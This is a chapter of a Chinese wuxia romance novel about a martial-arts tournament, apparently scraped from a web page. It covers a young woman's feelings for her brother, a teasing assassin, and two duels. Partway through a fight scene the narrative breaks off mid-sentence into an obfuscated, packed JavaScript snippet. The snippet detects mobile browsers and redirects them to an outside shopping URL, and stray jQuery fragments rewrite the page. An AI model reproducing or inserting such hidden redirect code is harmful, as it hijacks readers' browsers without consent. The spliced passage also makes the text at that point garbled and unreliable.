凌晨一场春雨来去匆匆,到天明时只留了满山湿漉漉的草木和洗净的碧空。比武台设在天枢峰顶最开阔处,四角蟠龙石柱拔地而起,鳞片间的雨水尚未干透,日光一照,仿佛蛟龙出海,霎是好看。
今日只余三场,前两场由昨日胜出的四人两两对阵,胜者再争盟主之位,午时之前,一切便有分晓。
前任盟主霍平澜缠绵病榻,各派掌门为示公允,相约不亲自下场,只遣门中最得意的弟子登台。先前无人将这个西境冒出来的教派放在眼中,谁知几日比试下来,归元教竟一路全胜,连丐帮都折在了他们手里。
不过呼声最高的,还是断水山庄少庄主霍长流。他自幼得父亲真传,尚未而立之年便已名震江湖,昨日那一场赢得十分干净利落。
燕溪和父兄一道坐在靠前的位置,离比武台不过两丈之遥,青萝在她的椅子上垫了层软垫,腰后恰好被撑住,久坐也不必担心腰酸背痛。
只是峰顶寒气重,山下还是和煦的春风,到了这里竟带上了刀子似的凉意。她搓了搓发凉的指尖,还没来得及拢进袖中,一只铜手炉便递了过来。
“山上风大,手炉不要离身。”
他的指尖从她下颌旁掠过,顺手替她拨了拨被风吹乱的鬓发。手指擦过她脸颊的刹那,燕溪的心像被一片羽毛轻轻撩过,痒意酥酥麻麻地烧到耳根。
以前天冷,燕澈会直接将她的手塞进他的大氅里,彼时兄长照拂幼妹,天经地义。可杏林那夜之后,他对她的每一分好,都有了别的滋味。
燕溪垂眸看着这只雕花精致的手炉,明明暖的是手指,她的脸颊却不合时宜地烫着。
“发什么愣呢?”
一只手忽然从她身后伸过来,在她眼前晃了晃。燕溪一惊,身后的空位上不知何时坐了个年轻男子。玉冠束发,月白襕衫,腰间一枚青玉佩,不知道的还以为是哪家饱读诗书的贵公子。
但他可不是什么贵公子,他是孟轻尘。
——无相楼的杀手在外行走从不以真面目示人,孟轻尘的易容之术炉火纯青,若非这副面孔她已见过多次,恐怕很难识破。
“你怎么来了?”
“这种千载难逢的场面,我怎能不来?各门各派的看家本领都搬出来了,我不好好看着,万一日后哪位上了无相楼的必杀令,两眼一抹黑岂不吃亏?”末了,嬉皮笑脸地看着她,“当然,还有点别的事。”
“什么事?”
“想你了,来看看你。”
“你!”这厮竟胆大包天,敢当着哥哥的面说这种浑话,燕溪又恼又窘,下意识去看燕澈的脸色,青年却恍若未闻,目光越过比武台,落在对面归元教的席位上。
她顺着他的视线望去,归元教的席位上只坐着五个人,衣着素朴,清一色的异族面孔。最右侧那人颈间一道疤从耳根蜿蜒而下,像条蛰伏的蜈蚣。耳垂上挂着一枚银环,在日光下偶尔一闪,格外扎眼。
她正想开口问问,一道响亮的锣鼓声忽然在峰顶炸开,余韵顺着山风滚过万仞绝壁,惊得崖下栖鸦四散。
锣声方歇,一道身影已轻巧地落上比武台,点苍派席位顿时爆出一片叫好声。丁辞川生得一张与年纪不甚相称的娃娃脸,眉眼圆润,面颊丰盈,两颗眼珠像刚剥了壳的黑葡萄,灵动又乖巧。
别看这副面孔人畜无害,两年前丁辞川及冠时正逢苗疆大乱,他奉命协助大理平叛,一剑连挑苗人十二寨,年纪轻轻便跻身江湖一流高手之列,风头之劲一时无两。因此,他夺魁的呼声仅次于霍长流。
而他的对面,已无声无息地站着一道灰影。
方回一袭灰旧僧袍,头上留着半寸短发像是初蓄未久。约莫而立的年纪,轮廓不似西凉人锋利,但面容的苍白如出一辙,眉眼间仿佛盘亘着雾一般的迷惘和忧愁。
他甫一上场,就引发台下骚动,并不是因为他僧人的装扮,而是手中的兵刃——
一对镔铁鸾刀。
形似弯月,刀身极薄,脊线上泛着霜青的冷芒。刀柄末端各缀一枚铜铃,风过处,泠泠作响。
铜锣再响,二人各退五步,对峙而立。
丁辞川率先出手,足尖在青石台面上轻轻一旋,整个人便如一片被风卷起的落叶,飘然而至。
方回不闪不避,双刀自两侧同时撩起,似合非合,以一种极不规矩的角度从下方绞住剑身,仿佛蛇类吞吃猎物前试探性的收紧。
丁辞川觉出不对,腕子一抖将剑抽回,同时借力旋身,化作第二剑,穿花拂柳般刺向他的咽喉。剑尖离方回的身体不过三寸,他却以一种不合常理的姿态从剑下滑了过去!
点苍剑法以“灵”字见长,剑走偏锋,不讲蛮力,讲的是一个身随意动、剑随心转。奈何方回的身法实在诡谲,仿佛周身筋骨皆可折叠,浑不似血肉之躯所能为。剑锋每每将触未触,便像刺入一团浓雾,落不到半分实处。
十招过后,方回似乎摸清了丁辞川的招数,忽然不再闪避,双足钉入台面,鸾刀一左一右垂于身侧,竟是门户大开的姿势。
丁辞川剑尖一顿,一时难辨这是诱敌之态还是力竭之象。但高手过招容不得半刻迟疑,他当机立断,剑锋再度刺出!
方回等的就是这一剑。
他腰身猛地一沉,双刀自下而上逆势撩起,鸾刀劈在长剑之上,“铛”的一声迸出一蓬刺目的火花,丁辞川虎口顿时传来一阵发麻的刺痛。
换了旁人,这一震恐怕已心胆俱裂,但他毕竟是从苗疆乱局杀出来的人,咬牙稳住剑柄,掌心一拧,长剑顺着鸾刀的弧刃倒引而回,借那股排山倒海的蛮力旋身反手,使出点苍绝技“横岭飞泉”。
方回立即将鸾刀交叉护在胸前,双方内力在兵刃间对抗,铜铃被激得乱撞,发出参差不齐的碎响。
这一招未能得手,丁辞川心知不妙。这僧人的内力浑厚远超他预想,而且运转的路数阴邪陌生,每一次兵刃相交,他倾注的真气便像撞入深渊的溪流,去势汹汹却激不起半点波澜。
而方回似乎也意识到他已是强弩之末,嘴角浮起一丝近乎悲悯的弧度,双臂猛然外旋,鸾刀脱离剑身的刹那,攻守之势已然逆转——
那双刀像两条同根而生的蛇,一条缠刃,一条索命,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211078|197389||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
行动间铃声如骤雨倾盆,震得人五脏六腑都隐隐作痛。
丁辞川只觉眼前刀光如织、铜铃乱响,搅得他心神大乱。三招过去,虎口已然震裂,血顺着剑柄直往下淌。
战斗此消彼长,方回像一团烧透了的暗火,一旦发作便再无收敛的余地。鸾刀顺着剑身一路碾压而下,弧刃恰恰嵌入剑格的缝隙,猛然一绞一送,阴冷的内力直直灌入丁辞川的体内!
那股寒气像是从枯骨里渗出来的阴风,顺着经脉一路逆冲而上,所过之处筋络痉挛如遭蛇噬。丁辞川面色骤青,五指像被冻入了寒冰,僵硬得再也攥不拢。
“锵——”
长剑脱手飞出,斜斜插入台缘的石缝里,剑身兀自颤动不止。丁辞川半跪在台上,右手痉挛着,攥不拢也松不开,虎口的血沿着指缝滴落,在青石上洇出几朵暗红的花。
顷刻间胜负已分,方回收刀入鞘,双手合十,眉宇间那缕化不开的郁色似乎更深了几分。
“......承让。”
满场先是死寂,仿佛所有人的声音都被钉在了喉咙里,旋即议论如沸水掀盖般炸开。
孟轻尘倒是一副看热闹不嫌事大的神气,拿折扇抵着下颌,啧了一声:“丁辞川剑法够硬,换个旁人,恐怕撑不过十招。”
燕澈则始终一言不发,凤眸紧锁在方回身上,眼底不是冷意,而是一种难以言喻的鲜活,仿佛锋刃出鞘前的跃跃之意。
她从未见过他露出这等神色,来不及细想,第二轮比武已经鸣锣开场——
断水山庄对阵峨眉派。
霍长流登台时,台下的欢呼声几乎要将锣声盖过。他生得眉骨峻拔,颌线如刀裁,不笑时莫名沉肃,有几分拒人于千里之外的倨傲。
他及冠后时常代父主持武林大事,八年间已接掌大半家业。武艺自然是超群,一身刀法不在几位掌门之下,各派切磋时鲜少有人能在他刀下撑过二十招。
对面的峨眉弟子也小有名气,持一柄薄身软剑,身姿轻盈如飞燕穿柳,确是难得的好手。
然而霍长流出刀的刹那,胜负已无悬念。
断水山庄的刀法不尚机巧,讲究的是大开大合、一往无前。一刀劈出,如长河倾泻、奔流千里,裹挟着摧枯拉朽的磅礴气势。峨眉派本以灵巧著称,遇上这等排山倒海之力,便如细流撞入洪峰,非但无法化解,反被那股浩荡的刀意冲得步步后退。
不过七八招,那女弟子已被逼退至台角,一只脚悬空的刹那,刀锋擦着咽喉停住,她脸色煞白,只能抱拳认负。
断水山庄的弟子们立时振臂高呼,满场喝彩如潮水般涌向台上。姗姗来迟的霍平澜被人搀扶着坐在最前方,裹在厚重的裘袍里的身躯像是深秋里一棵将枯的老树。这位前任武林盟主没有鼓掌,只是微微抬了抬下颌,不知是欣慰还是叹息。
与此同时,灰袍僧人默默起身,鸾刀垂于身侧,铜铃随他一步一响,仿佛行走在另一重天地里,周身萧索,与这春日格格不入。
不多时,他在霍长流对面站定,苍白面容像一炷将尽的檀香,明灭间尽是无处投递的怅惘。
“请。”